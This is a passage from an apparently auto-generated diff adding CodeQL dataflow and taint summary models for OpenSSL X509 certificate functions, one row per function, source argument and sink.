"Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_chain_check_suiteb", "(int *,X509 *,stack_st_X509 *,unsigned long)", "", "Argument[*2].Field[***data]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "X509_chain_check_suiteb", "(int *,X509 *,stack_st_X509 *,unsigned long)", "", "Argument[*2].Field[**data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_chain_up_ref", "(stack_st_X509 *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_chain_up_ref", "(stack_st_X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_chain_up_ref", "(stack_st_X509 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_check_ca", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_check_ca", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_check_host", "(X509 *,const char *,size_t,unsigned int,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "X509_check_issued", "(X509 *,X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_check_issued", "(X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_check_purpose", "(X509 *,int,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_check_trust", "(X509 *,int,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_cmp", "(const X509 *,const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_cmp", "(const X509 *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_cmp_time", "(const ASN1_TIME *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_delete_ext", "(X509 *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_delete_ext", "(X509 *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_digest", "(const X509 *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_digest", "(const X509 *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_digest_sig", "(const X509 *,EVP_MD **,int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_digest_sig", "(const X509 *,EVP_MD **,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_find_by_issuer_and_serial", "(stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509_find_by_subject", "(stack_st_X509 *,const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_find_by_subject", "(stack_st_X509 *,const X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_find_by_subject", "(stack_st_X509 *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_free", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_free", "(X509 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_issuer", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_issuer", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_issuer", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_key_id", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_serial", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_serial", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_serial", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_distinguishing_id", "(X509 *)", "", "Argument[*0].Field[**distinguishing_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_distinguishing_id", "(X509 *)", "", "Argument[*0].Field[*distinguishing_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_extensions", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_extensions", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_reject_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[**reject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_reject_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[*reject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_serialNumber", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_signature", "(const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *)", "", "Argument[*2].Field[*sig_alg]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_signature", "(const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *)", "", "Argument[*2].Field[*signature]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_subject_key_id", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_subject_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_subject_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_tbs_sigalg", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_trust_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[**trust]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_trust_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[*trust]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_get0_uids", "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_get_X509_PUBKEY", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_X509_PUBKEY", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get_ex_data", "(const X509 *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext", "(const X509 *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_by_NID", "(const X509 *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_by_OBJ", "(const X509 *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_by_critical", "(const X509 *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_get_ext_d2i", "(const X509 *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_get_extended_key_usage", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_extended_key_usage", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_extension_flags", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_extension_flags", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_issuer_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_issuer_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get_key_usage", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_key_usage", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_pathlen", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_pathlen", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_proxy_pathlen", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_proxy_pathlen", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_pubkey_parameters", "(EVP_PKEY *,stack_st_X509 *)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_get_serialNumber", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get_signature_info", "(X509 *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get_subject_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**subject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get_subject_name", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_gmtime_adj", "(ASN1_TIME *,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_gmtime_adj", "(ASN1_TIME *,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_issuer_and_serial_cmp", "(const X509 *,const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*issuer]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_issuer_and_serial_cmp", "(const X509 *,const X509 *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_issuer_name_cmp", "(const X509 *,const X509 *)", "", "Argument[*1].Field[*cert_info].Field[**issuer]", "Argument[*1].Field[*cert_info].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_issuer_name_hash", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**issuer]", "Argument[*0].Field[*cert_info].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_issuer_name_hash_old", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**issuer]", "Argument[*0].Field[*cert_info].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_check", "(X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int)", "", "Argument[*2].Field[*num]", "Argument[**0].Field[*nlevel]", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_level_get0_node", "(const X509_POLICY_LEVEL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_level_node_count", "(X509_POLICY_LEVEL *)", "", "Argument[*0].Field[**nodes].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_parent", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_parent", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_policy", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[**valid_policy]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_policy", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[*valid_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_qualifiers", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[**qualifier_set]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_node_get0_qualifiers", "(const X509_POLICY_NODE *)", "", "Argument[*0].Field[**data].Field[*qualifier_set]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_level", "(const X509_POLICY_TREE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_level", "(const X509_POLICY_TREE *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0].Field[**auth_policies]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0].Field[*auth_policies]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_policy_tree_get0_user_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_policy_tree_get0_user_policies", "(const X509_POLICY_TREE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_policy_tree_level_count", "(const X509_POLICY_TREE *)", "", "Argument[*0].Field[*nlevel]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_print", "(BIO *,X509 *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_print_ex", "(BIO *,X509 *,unsigned long,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_self_signed", "(X509 *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_set0_distinguishing_id", "(X509 *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_set0_distinguishing_id", "(X509 *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_set_issuer_name", "(X509 *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_set_proxy_pathlen", "(X509 *,long)", "", "Argument[1]", "Argument[*0].Field[*ex_pcpathlen]", "value", "dfc-generated"] + - ["", "", True, "X509_set_subject_name", "(X509 *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_sign", "(X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_sign_ctx", "(X509 *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_subject_name_cmp", "(const X509 *,const X509 *)", "", "Argument[*1].Field[*cert_info].Field[**subject]", "Argument[*1].Field[*cert_info].Field[*subject]", "value", "dfc-generated"] + - ["", "", True, "X509_subject_name_hash", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**subject]", "Argument[*0].Field[*cert_info].Field[*subject]", "value", "dfc-generated"] + - ["", "", True, "X509_subject_name_hash_old", "(X509 *)", "", "Argument[*0].Field[*cert_info].Field[**subject]", "Argument[*0].Field[*cert_info].Field[*subject]", "value", "dfc-generated"] + - ["", "", True, "X509_time_adj", "(ASN1_TIME *,long,time_t *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_time_adj", "(ASN1_TIME *,long,time_t *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_time_adj", "(ASN1_TIME *,long,time_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509_time_adj_ex", "(ASN1_TIME *,int,long,time_t *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_time_adj_ex", "(ASN1_TIME *,int,long,time_t *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_time_adj_ex", "(ASN1_TIME *,int,long,time_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_to_X509_REQ", "(X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_delete_attr", "(stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509at_delete_attr", "(stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_delete_attr", "(stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr", "(const stack_st_X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr_by_NID", "(const stack_st_X509_ATTRIBUTE *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr_by_OBJ", "(const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509at_get_attr_count", "(const stack_st_X509_ATTRIBUTE *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_add_ext", "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_add_extensions", "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_afi", "(const IPAddressFamily *)", "", "Argument[*0].Field[**addressFamily].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_afi", "(const IPAddressFamily *)", "", "Argument[*0].Field[**addressFamily].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_range", "(IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_get_range", "(IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_validate_resource_set", "(stack_st_X509 *,IPAddrBlocks *,int)", "", "Argument[*0].Field[***data].Field[**rfc3779_addr]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "X509v3_addr_validate_resource_set", "(stack_st_X509 *,IPAddrBlocks *,int)", "", "Argument[*0].Field[***data].Field[*rfc3779_addr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_addr_validate_resource_set", "(stack_st_X509 *,IPAddrBlocks *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_asid_validate_resource_set", "(stack_st_X509 *,ASIdentifiers *,int)", "", "Argument[*0].Field[***data].Field[**rfc3779_asid]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "X509v3_delete_ext", "(stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_delete_ext", "(stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_delete_ext", "(stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext", "(const stack_st_X509_EXTENSION *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_by_NID", "(const stack_st_X509_EXTENSION *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_by_OBJ", "(const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_by_critical", "(const stack_st_X509_EXTENSION *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509v3_get_ext_count", "(const stack_st_X509_EXTENSION 